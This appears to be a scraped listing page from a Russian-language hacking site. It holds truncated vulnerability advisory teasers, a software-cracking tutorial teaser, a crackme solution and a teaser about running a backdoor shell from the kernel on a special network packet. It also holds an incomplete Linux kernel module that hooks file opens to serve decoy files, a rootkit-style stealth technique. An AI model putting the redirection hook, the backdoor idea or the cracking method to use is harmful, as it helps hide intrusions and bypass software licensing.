Вирусное оружие №1
"Учиться, учиться и ещё раз учиться" В.И.Ленин В данном тексте мы попытаемся проанализировать возможности вирусного оружия и некоторые аспекты защиты от него. Во-первых мы должны определится, что мы будем называть вирусным оружием
"Учиться, учиться и ещё раз учиться" В.И.Ленин В данном тексте мы попытаемся проанализировать возможности вирусного оружия и некоторые аспекты защиты от него. Во-первых мы должны определится, что мы будем называть вирусным оружием
Утилита для проверки и очистки реестра Windows.
Программа: Doro PDF Writer Уязвимость обнаружена в Doro PDF Writer. Локальный пользователь может получить привилегии…
Программа: mvdsv 0.171 и более ранние версии Переполнение буфера обнаружено в mvdsv Quake Server. Удаленный пользова…
Сегодня мы займемся снятием временного ограничения с программы WebCopier версии 3.6. Это автономный броузер, позволяющий скачивать веб-сайты целиком или частично и просматривать их в автономном режиме. Очень даже удобный и полезный
Hola, amigos! Запуск обычных user-land программ из ядра. Зачем это нужно? Для того чтобы, например, запускать shell или любой другой backdoor по получению специального пакета из сети. Из ядра можно запускать любые проги, в том числе интерпретатор языка Perl для выполнения скриптов
Программа: Xlight FTP Server 1.40 Уязвимость обнаружена в Xlight FTP server. Удаленный авторизованный пользователь м…
Программа: irssi до версии 0.8.9 Уязвимость обнаружена в irssi клиенте. Удаленный IRC пользователь может аварийно за…
Программа: Yahoo! Messenger 5.5 (Build 1249) и 5.6 (Build 1355). Уязвимость обнаружена в Yahoo! Messenger. Злонамере…
Программа: RemotelyAnywhere и более ранние версии
Программа: Mambo Server 4.0.14 и 4.5 Beta 1.0.3 Две уязвимости обнаружены в Mambo Server. Злонамеренный пользователь…
Программа: Webgate WebEye SPD Webgate WebEye E20 Webgate WebEye E104 Webgate WebEye E10 Webgate WebEye B106 Webgate We…
Программа: Sybase Adaptive Server 9.0
Программа: Opera Web Browser 7.22 Уязвимость обнаружена в Opera web browser. Удаленный пользователь может удалять пр…
Мною была найдена уязвимость в рекламной сети AffiliateNetwork.ru . Она заключается в том, что любой зарегистрированный поль…
Была обнаружена уязвимость в системе разграничения доступа k.Banzz версии 0.2: злонамеренный пользователь может получить нес…
Сёгодня была найдена небольшая уязвимость на forum.ixbt.com. Заключается она в том, для просмотра "Информации об участниках"…
При просмотре через броузер жесткого диска, Windows автоматически анализирует каждый файл в текущей директории для того, что…
Программа: CVS до версии 1.11.10 Уязвимость обнаружена в CVS. Удаленный пользователь может заставить CVS создавать ф…
Программа: IBM WebSphere 5.0.0, 5.0.1, 5.0.2, 5.0.2.1 Уязвимость обнаружена в IBM WebSphere. Удаленный пользователь …
Новая версия PE Tools.
1 Задание Результат вычислений должен быть следующий: 1579775797505599776485085939 1846815158401158747633236857 0500745082692454391223076823 1474797490013007018232951454 9475345671303890750399280960 9986448636819926901767353405 9575198525971386215025738 2 Задание Пароль: its the answer Наиболее простым решением является, вывод сравниваемой строки, для чего в конец JS кода достаточно добавить строку "alert(uhfdui);"
Программа: Microsoft Internet Explorer 6 Уязвимость обнаружена в Internet Explorer. Злонамеренный пользователь может…
Мною обнаружена уязвимость на сайте http://supportcenter.hosting.com/. В модуле sc_display_page.mod_perl возможен просмотр ф…
Программа: Web Eye Video Servers Уязвимость обнаружена в Web Eye video сервере. Удаленный пользователь может получит…
Программа: Appleshare IP FTP Server 6.3.1 и более ранние версии Уязвимость обнаружена в Appleshare IP FTP Server. Уд…
Программа: Land Down Under (LDU) 601 Уязвимость обнаружена в Land Down Under (LDU) форуме. Удаленный пользоват…
Программа: Xoops 2.0.5 и более ранние версии Несколько уязвимостей обнаружено в Xoops. Удаленный пользователь может в…
Программа: VP-ASP до версии 4.50 Уязвимость в проверке правильности входных данных обнаружена в VP-ASP в 'shopdispla…
Программа: Jason Maloney Guestbook 3.0 Уязвимость в проверке правильности входных данных обнаружена в Jason Maloney'…
Программа: eZ 'eZnet.exe' Уязвимость обнаружена в нескольких 'eZ' программах, включая eZphotoshare, eZmeeting, eZnet…
Программа: Abyss Web Server 1.x Уязвимость обнаружена в Abyss web server. Злонамеренный пользователь может получить …
Новая Миранда.
№26 В начале 1992 г. появляется первый генератор полиморфных вирусов MtE. Его главное предназначение — возможность интеграции в другие вирусы для обеспечения их полиморфизма. Автор программы, печально известный Dark Avenger, делает все возможное, чтобы облегчить своим «коллегам» работу с MtE: генератор поставляется в виде готового объектного модуля и сопровождается подробной документацией с указаниями его применения
/* Redir by Alekz Under (skleroz@pisem.net) This module allows you to redirect files in your system. */ #define MODULE #define __KERNEL__ #include <linux/config.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/version.h> #include <linux/string.h> // include файлы нужные для работы с файловой системой #include <linux/slab.h> #include <linux/locks.h> #include <linux/fd.h> #include <linux/fs.h> #include <linux/smp_lock.h> struct file_operations * fop; struct file_operations orig_fop; struct nameidata kernel_nd; // структкра в которой мы будем хранить имена и иноды настоящего и обманного файлов struct redirect_struct { long int orig_ino, redir_ino; char * orig_fname, * redir_fname; struct redirect_struct *next, *prev; }; struct redirect_struct *redirects; int redirect_add(char *orig, char *redir); void redirect_del(char *orig); int wrap_open(struct inode *ino, struct file *filp); // эта функция по названию файла находит номер его inode'а long int get_inode_num(char *filename) { int err; long int inode_num; struct nameidata nd; if (path_init(filename, 0, &nd)) err = path_walk(filename, &nd); if (err) return 0; inode_num = nd.dentry->d_inode->i_ino; path_release(&nd); return inode_num; } int wrap_open(struct inode *ino, struct file *filp) { struct redirect_struct *redir; // просматриваем список редиректов // вместо связного списка можно использовать массив for(redir = redirects; redir != NULL; redir = redir->next) { // открываемый файл есть в нашем списке редиректов? if(filp->f_dentry->d_inode->i_ino == redir->orig_ino) { int ret; struct nameidata nd; // открываем обманный файл if (path_init(redir->redir_fname, 0, &nd)) ret = path_walk(redir->redir_fname, &nd); if (ret) /*error! файл не найден!*/ return -1; /* orig_fop.open(ino, filp); */ lock_kernel(); // закрываем настоящий файл dput(filp->f_dentry); // заменяем структуры так, что данные будут читаться из обманного файла, а не из настоящего filp->f_dentry = nd.dentry; unlock_kernel(); } } // вызываем настоящую open return orig_fop.open(ino, filp); } // эта функция добавляет файлы для редиректа в список int redirect_add(char *orig_fname, char *redir_fname) { struct redirect_struct *redir, *tmp; // заказываем память для структуры redir = kmalloc(sizeof(struct redirect_struct), GFP_ATOMIC); if(!redir) return -1; // память для имен файлов redir->orig_fname = kmalloc(strlen(orig_fname)+1, GFP_ATOMIC); redir->redir_fname = kmalloc(strlen(redir_fname)+1, GFP_ATOMIC); if(!redir->orig_fname || !redir->redir_fname) { kfree(redir); return -1; } strcpy(redir->orig_fname, orig_fname); strcpy(redir->redir_fname, redir_fname); // определяем номера инодов redir->orig_ino = get_inode_num(orig_fname); redir->redir_ino = get_inode_num(redir_fname); if(!redir->orig_ino || !redir->redir_ino) { kfree(redir->orig_fname); kfree(redir->redir_fname); kfree(redir); return -1; } if(!redirects) { redirects = redir; redirects->next = NULL; redirects->prev = NULL; return 0; } // ищем место куда воткнуть структуру редиректа // код сложный, так как производится сортировка по номерам inode'в, что бы быстрее просматривать этот список в wrap_open for(tmp = redirects; tmp->next != NULL; tmp = tmp->next) { if(tmp->orig_ino < redir->orig_ino) { redir->next = tmp; if(tmp == redirects) { redir->prev = NULL; redirects->prev = redir; redirects = redir; } else { redir->prev = tmp->prev; tmp->prev->next = redir; } return 0; } else if(redir->orig_ino == tmp->orig_ino) { // уже редиректим этот файл kfree(redir->orig_fname); kfree(redir->redir_fname); kfree(redir); return 0; } } // все номера inode'ов настоящих файлов больше redir->orig_ino - просто добавить структуру в конец списка redir->next = tmp->next; redir->prev = tmp; tmp->next = redir; return 0; } // эта функция удаляет структуру-редиректа из списка void redirect_del(char *orig) { struct redirect_struct *tmp; long int orig_ino = get_inode_num(orig); for(tmp = redirects; tmp != NULL; tmp = tmp->next) { if(tmp->orig_ino == orig_ino) { // нашли..
Программа: 4inarow Несколько уязвимостей обнаружена в игре 4inarow. Локальный пользователь может получить поднятые п…
Программа: Ebola 0.1.4 Переполнение буфера обнаружена в Ebola AntiVirus. Удаленный пользователь может скомпрометиров…
Захват и обработка видео.
Небольшая утилитка для вывода детальной информации об установленном у Вас "железе".
Хай пиплы! Эта статья посвящается классным girls: Юле, двум Аням, Наташе и Тане :-) Если ты не читал первую и вторую части, рекомендую все-таки прочитать ее перед тем как читать эту. После публикации первой части ко мне пришли письма с вопросами, поэтому я решил начать эту часть с нескольких советов по поводу часто встречающихся проблем: Если немножко не совпадают версии ядра с которым работаешь и для которого был скомпилирован модуль и insmod module.o пишет что-то типа: